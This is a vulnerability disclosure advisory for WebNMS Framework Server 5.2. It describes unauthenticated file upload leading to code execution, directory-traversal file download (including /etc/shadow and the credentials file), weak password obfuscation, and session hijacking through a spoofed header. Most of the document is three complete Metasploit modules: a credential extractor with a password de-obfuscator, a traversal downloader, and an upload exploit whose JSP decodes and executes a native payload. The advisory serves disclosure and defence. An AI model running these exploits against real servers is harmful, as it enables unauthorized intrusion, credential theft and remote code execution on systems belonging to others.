SSD Advisory – WebNMS Framework Server Multiple Vulnerabilities

Background
WebNMS is an industry-leading framework for building network management applications. With over 25,000 deployments worldwide and in every Tier 1 Carrier, network equipment providers and service providers can customize, extend and rebrand WebNMS as a comprehensive Element Management System (EMS) or Network Management System (NMS). NOC Operators, Architects and Developers can customize the functional modules to fit their domain and network. Functional modules include Fault Correlation, Performance KPIs, Device Configuration, Service Provisioning and Security. WebNMS supports numerous Operating Systems, Application Servers, and databases.
Vulnerabilities Description
Multiple vulnerabilities affecting WebNMS have been found, these vulnerabilities allows uploading of arbitrary files and their execution, arbitrary file download (with directory traversal), use of a weak algorithm for storing passwords and session hijacking.
Credit
An independent security researcher Pedro Ribeiro (pedrib_at_gmail.com) has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program

Technical Details
Arbitrary file upload with directory traversal, leading to remote code execution
Constraints: no authentication needed
Affected versions: unknown, at least 5.2 and 5.2 SP1

POST /servlets/FileUploadServlet?fileName=../jsp/Login.jsp HTTP/1.1
<JSP payload here>

Two things of note:
1) Only text files are uploaded properly, binary files will get mangled.
2), In order to achieve code execution without authentication, the files need to be dropped in ../jsp/ but they can only have the following names: either Login.jsp or a WebStartXXX.jsp, where XXX is any string of any length.
Arbitrary file download with directory traversal
Constraints: no authentication needed
Affected versions: unknown, at least 5.2 and 5.2 SP1

GET /servlets/FetchFile?fileName=../../../etc/shadow

Note that only text files can be downloaded properly, any binary file will get mangled by the servlet and downloaded incorrectly.
Weak obfuscation algorithm used to store passwords in text file
Constraints: N/A
Affected versions: unknown, at least 5.2 and 5.2 SP1
The ./conf/securitydbData.xml file contains entries with all the usernames and passwords in the server:

<DATA ownername="NULL" password="e8c89O1f" username="guest"/>
<DATA ownername="NULL" password="d7963B4t" username="root"/>

The algorithm used to obfuscate is convoluted but easy to reverse. The passwords above are “guest” for the “guest” user and “admin” for the “root” user. A Metasploit module implementing the de-obfuscation algorithm has been released.
This vulnerability can be combined with #2 and allow an unauthenticated attacker to obtain credentials for all user accounts:

GET /servlets/FetchFile?fileName=conf/securitydbData.xml

Session hijacking by spoofing the UserName header
Constraints: no authentication needed
Affected versions: unknown, at least 5.2 and 5.2 SP1

GET /servlets/GetChallengeServlet HTTP/1.1
UserName: root

Returns SessionId=0033C8CFFE37EB6093849CBA4BF2CAF3; which is a valid, JSESSIONID cookie authenticated as the “root” user. This can then be used to login to the WebNMS Framework Server by simply setting the cookie and browsing to any page.

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  def initialize(info = {})
    super(update_info(info,
      'Name' => 'WebNMS Framework Server Credential Disclosure',
      'Description' => %q{
This module abuses two vulnerabilities in WebNMS Framework Server 5.2 to extract
all user credentials. The first vulnerability is a unauthenticated file download
in the FetchFile servlet, which is used to download the file containing the user
credentials. The second vulnerability is that the the passwords in the file are
obfuscated with a very weak algorithm which can be easily reversed.
This module has been tested with WebNMS Framework Server 5.2 and 5.2 SP1 on
Windows and Linux.
},
      'Author' =>
        [
          'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
        ],
      'License' => MSF_LICENSE,
      'References' =>
        [
          [ 'CVE', 'TODO' ],
          [ 'CVE', 'TODO' ],
          [ 'OSVDB', 'TODO' ],
          [ 'OSVDB', 'TODO' ],
          [ 'URL', 'TODO_GITHUB_URL' ],
          [ 'URL', 'TODO_FULLDISC_URL' ]
        ],
      'DisclosureDate' => 'XXXXXX'))
    register_options(
      [
        OptPort.new('RPORT', [true, 'The target port', 9090]),
        OptString.new('TARGETURI', [ true,  "WebNMS path", '/'])
      ], self.class)
  end
  def run
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'servlets', 'FetchFile'),
      'method' =>'GET',
      'vars_get' => { 'fileName' => 'conf/securitydbData.xml' }
    })
    if res && res.code == 200 && res.body.to_s.length > 0
      cred_table = Rex::Ui::Text::Table.new(
        'Header'  => 'WebNMS Login Credentials',
        'Indent'  => 1,
        'Columns' =>
          [
            'Username',
            'Password'
          ]
      )
      print_status "#{peer} - Got securitydbData.xml, attempting to extract credentials..."
      res.body.to_s.each_line { |line|
        # we need these checks because username and password might appear in any random position in the line
        if line =~ /username="([\w]*)"/
          username = $1
          if line =~ /password="([\w]*)"/
            password = $1
            plaintext_password = super_retarded_deobfuscation(password)
            cred_table << [ username, plaintext_password ]
            register_creds(username, plaintext_password)
          end
        end
      }
      print_line
      print_line("#{cred_table}")
      loot_name     = 'webnms.creds'
      loot_type     = 'text/csv'
      loot_filename = 'webnms_login_credentials.csv'
      loot_desc     = 'WebNMS Login Credentials'
      p = store_loot(
        loot_name,
        loot_type,
        rhost,
        cred_table.to_csv,
        loot_filename,
        loot_desc)
      print_status "Credentials saved in: #{p}"
      return
    end
  end
  # Returns the plaintext of a string obfuscated with WebNMS's super retarded obfuscation algorithm.
  # I'm sure this can be simplified, but I've spent far too many hours implementing to waste any more time!
  def super_retarded_deobfuscation (ciphertext)
    input = ciphertext
    input = input.gsub("Z","000")
    base = '0'.upto('9').to_a + 'a'.upto('z').to_a + 'A'.upto('G').to_a
    base.push 'I'
    base += 'J'.upto('Y').to_a
    answer = ''
    k = 0
    remainder = 0
    co = input.length / 6
    while k < co
      part = input[(6 * k),6]
      partnum = ''
      startnum = false
      for i in 0...5
        isthere = false
        pos = 0
        until isthere
          if part[i] == base[pos]
            isthere = true
            partnum += pos.to_s
            if pos == 0
              if not startnum
                answer += "0"
              end
            else
              startnum = true
            end
          end
          pos += 1
        end
      end
      isthere = false
      pos = 0
      until isthere
        if part[5] == base[pos]
          isthere = true
          remainder = pos
        end
        pos += 1
      end
      if partnum.to_s == "00000"
        if remainder != 0
          tempo = remainder.to_s
          temp1 = answer[0..(tempo.length)]
          answer = temp1 + tempo
        end
      else
        answer += (partnum.to_i * 60 + remainder).to_s
      end
      k += 1
    end
    if input.length % 6 != 0
      ending = input[(6*k)..(input.length)]
      partnum = ''
      if ending.length > 1
        i = 0
        startnum = false
        for i in 0..(ending.length - 2)
          isthere = false
          pos = 0
          until isthere
            if ending[i] == base[pos]
              isthere = true
              partnum += pos.to_s
              if pos == 0
                if not startnum
                  answer += "0"
                end
              else
                startnum = true
              end
            end
            pos += 1
          end
        end
        isthere = false
        pos = 0
        until isthere
          if ending[i+1] == base[pos]
            isthere = true
            remainder = pos
          end
          pos += 1
        end
        answer += (partnum.to_i * 60 + remainder).to_s
      else
        isthere = false
        pos = 0
        until isthere
          if ending == base[pos]
            isthere = true
            remainder = pos
          end
          pos += 1
        end
        answer += remainder.to_s
      end
    end
    final = ''
    for k in 0..((answer.length / 2) - 1)
      final.insert(0,(answer[2*k,2].to_i + 28).chr)
    end
    final
  end
  def register_creds(username, password)
    credential_data = {
      origin_type: :service,
      module_fullname: self.fullname,
      workspace_id: '2000',
      private_data: password,
      private_type: :password,
      username: username
    }
    service_data = {
      address: rhost,
      port: rport,
      service_name: 'WebNMS-' + (ssl ? 'HTTPS' : 'HTTP'),
      protocol: 'tcp',
      workspace_id: '2000'
    }
    credential_data.merge!(service_data)
    credential_core = create_credential(credential_data)
    login_data = {
      core: credential_core,
      status: Metasploit::Model::Login::Status::UNTRIED,
      workspace_id: '2000'
    }
    login_data.merge!(service_data)
    create_credential_login(login_data)
  end
end
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  def initialize(info = {})
    super(update_info(info,
      'Name' => 'WebNMS Framework Server Arbitrary Text File Download',
      'Description' => %q{
This module abuses a vulnerability in WebNMS Framework Server 5.2 that allows an
unauthenticated user to download files off the file system by using a directory
traversal attack on the FetchFile servlet.
Note that only text files can be downloaded properly, as any binary file will get
mangled by the servlet. Also note that for Windows targets you can only download
files that are in the same drive as the WebNMS installation.
This module has been tested with WebNMS Framework Server 5.2 and 5.2 SP1 on
Windows and Linux.
},
      'Author' =>
        [
          'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
        ],
      'License' => MSF_LICENSE,
      'References' =>
        [
          [ 'CVE', 'TODO' ],
          [ 'OSVDB', 'TODO' ],
          [ 'URL', 'TODO_GITHUB_URL' ],
          [ 'URL', 'TODO_FULLDISC_URL' ]
        ],
      'DisclosureDate' => 'XXXXXX'))
    register_options(
      [
        OptPort.new('RPORT', [true, 'The target port', 9090]),
        OptString.new('TARGETURI', [ true,  "WebNMS path", '/']),
        OptString.new('FILEPATH', [ false,  "The filepath of the file you want to download", '/etc/shadow']),
        OptString.new('TRAVERSAL_PATH', [ false,  "The traversal path to the target file (if you know it)"]),
        OptInt.new('MAX_TRAVERSAL', [ false,  "Maximum traversal path depth (if you don't know the traversal path)", 10]),
      ], self.class)
  end
  def run
    file = nil
    if datastore['TRAVERSAL_PATH'] == nil
      traversal_size = datastore['MAX_TRAVERSAL']
      while traversal_size > 0
        file = get_file("../" * traversal_size + datastore['FILEPATH'])
        if file != nil
          break
        end
        traversal_size -= 1
      end
    else
      file = get_file(datastore['TRAVERSAL_PATH'])
    end
    if file == nil
      print_error("#{peer} - Failed to download the specified file.")
      return
    else
      vprint_line(file)
      fname = File.basename(datastore['FILEPATH'])
      path = store_loot(
        'webnms.http',
        'text/plain',
        datastore['RHOST'],
        file,
        fname
      )
      print_good("File download successful, file saved in #{path}")
    end
  end
  def get_file(path)
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'servlets', 'FetchFile'),
      'method' =>'GET',
      'vars_get' => { 'fileName' => path }
    })
    if res && res.code == 200 && res.body.to_s.length > 0 && res.body.to_s =~ /File Found/
      return res.body.to_s
    else
      return nil
    end
  end
end
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  include Msf::Exploit::EXE
  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'WebNMS Framework Server Arbitrary File Upload',
      'Description' => %q{
This module abuses a vulnerability in WebNMS Framework Server 5.2 that allows an
unauthenticated user to upload text files by using a directory traversal attack
on the FileUploadServlet servlet. A JSP file can be uploaded that then drops and
executes a malicious payload, achieving code execution under the user which the
WebNMS server is running.
This module has been tested with WebNMS Framework Server 5.2 and 5.2 SP1 on
Windows and Linux.
},
      'Author'       =>
        [
          'Pedro Ribeiro <pedrib[at]gmail.com>'        # Vulnerability discovery and Metasploit module
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'CVE', 'TODO' ],
          [ 'OSVDB', 'TODO' ],
          [ 'URL', 'TODO_GITHUB_URL' ],
          [ 'URL', 'TODO_FULLDISC_URL' ]
        ],
      'DefaultOptions' => { 'WfsDelay' => 15 },
      'Privileged'  => false,
      'Platform'    => %w{ linux win },
      'Targets'     =>
        [
          [ 'Automatic', { } ],
          [ 'WebNMS Framework Server 5.2 / 5.2 SP1 - Linux',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_X86
            }
          ],
          [ 'WebNMS Framework Server 5.2 / 5.2 SP1 - Windows',
            {
              'Platform' => 'win',
              'Arch' => ARCH_X86
            }
          ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'TODO'))
    register_options(
      [
        OptPort.new('RPORT', [true, 'The target port', 9090]),
        OptString.new('TARGETURI', [ true,  "WebNMS path", '/'])
      ], self.class)
  end
  def check
    res = send_request_cgi({
      'uri'    => normalize_uri(datastore['TARGETURI'], 'servlets', 'FileUploadServlet'),
      'method' => 'GET'
    })
    if res && res.code == 405
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Unknown
    end
  end
  def upload_payload(payload, is_exploit)
    jsp_name = 'WebStart-' + rand_text_alpha(rand(8) + 3) + '.jsp'
    if is_exploit
      print_status("#{peer} - Uploading payload...")
    end
    res = send_request_cgi({
      'uri'    => normalize_uri(datastore['TARGETURI'], 'servlets', 'FileUploadServlet'),
      'method' => 'POST',
      'data'   => payload.to_s,
      'ctype'  => 'text/html',
      'vars_get' => { 'fileName' => '../jsp/' + jsp_name }
    })
    if res && res.code == 200 && res.body.to_s =~ /Successfully written polleddata file/
      if is_exploit
        print_status("#{peer} - Payload uploaded successfully")
      end
      return jsp_name
    else
      return nil
    end
  end
  def pick_target
    return target if target.name != 'Automatic'
    print_status("#{peer} - Determining target")
    os_finder_payload = %Q{<html><body><%out.println(System.getProperty("os.name"));%></body><html>}
    jsp_name = upload_payload(os_finder_payload, false)
    res = send_request_cgi({
      'uri'    => normalize_uri(datastore['TARGETURI'], 'jsp', jsp_name),
      'method' => 'GET'
    })
    if res && res.code == 200
      register_files_for_cleanup('jsp/' + jsp_name)
      if res.body.to_s =~ /Linux/
        return targets[1]
      elsif res.body.to_s =~ /Windows/
        return targets[2]
      end
    end
    return nil
  end
  def generate_jsp_payload
    opts = {:arch => @my_target.arch, :platform => @my_target.platform}
    payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch)
    exe = generate_payload_exe(opts)
    base64_exe = Rex::Text.encode_base64(exe)
    native_payload_name = rand_text_alpha(rand(6)+3)
    ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'
    var_raw     = rand_text_alpha(rand(8) + 3)
    var_ostream = rand_text_alpha(rand(8) + 3)
    var_buf     = rand_text_alpha(rand(8) + 3)
    var_decoder = rand_text_alpha(rand(8) + 3)
    var_tmp     = rand_text_alpha(rand(8) + 3)
    var_path    = rand_text_alpha(rand(8) + 3)
    var_proc2   = rand_text_alpha(rand(8) + 3)
    if @my_target['Platform'] == 'linux'
      var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
      chmod = %Q|
      Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});
      Thread.sleep(200);
      |
      var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)
      cleanup = %Q|
      Thread.sleep(200);
      Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path});
      |
    else
      chmod = ''
      cleanup = ''
    end
    jsp = %Q|
    <%@page import="java.io.*"%>
    <%@page import="sun.misc.BASE64Decoder"%>
    <%
    try {
      String #{var_buf} = "#{base64_exe}";
      BASE64Decoder #{var_decoder} = new BASE64Decoder();
      byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());
      File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}");
      String #{var_path} = #{var_tmp}.getAbsolutePath();
      BufferedOutputStream #{var_ostream} =
        new BufferedOutputStream(new FileOutputStream(#{var_path}));
      #{var_ostream}.write(#{var_raw});
      #{var_ostream}.close();
      #{chmod}
      Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
      #{cleanup}
    } catch (Exception e) {
    }
    %>
    |
    jsp = jsp.gsub(/\n/, '')
    jsp = jsp.gsub(/\t/, '')
    jsp = jsp.gsub(/\x0d\x0a/, "")
    jsp = jsp.gsub(/\x0a/, "")
    return jsp
  end
  def exploit
    @my_target = pick_target
    if @my_target.nil?
      print_error("#{peer} - Unable to select a target, we must bail.")
      return
    else
      print_status("#{peer} - Selected target #{@my_target.name}")
    end
    # When using auto targeting, MSF selects the Windows meterpreter as the default payload.
    # Fail if this is the case and ask the user to select an appropriate payload.
    if @my_target['Platform'] == 'linux' && payload_instance.name =~ /Windows/
      fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")
    end
    jsp_payload = generate_jsp_payload
    jsp_name = upload_payload(jsp_payload, true)
    if jsp_name == nil
      fail_with(Failure::Unknown, "#{peer} - Payload upload failed")
    else
      register_files_for_cleanup('jsp/' + jsp_name)
    end
    print_status("#{peer} - Executing payload...")
    send_request_cgi({
      'uri'    => normalize_uri(datastore['TARGETURI'], 'jsp', jsp_name),
      'method' => 'GET'
    })
  end
end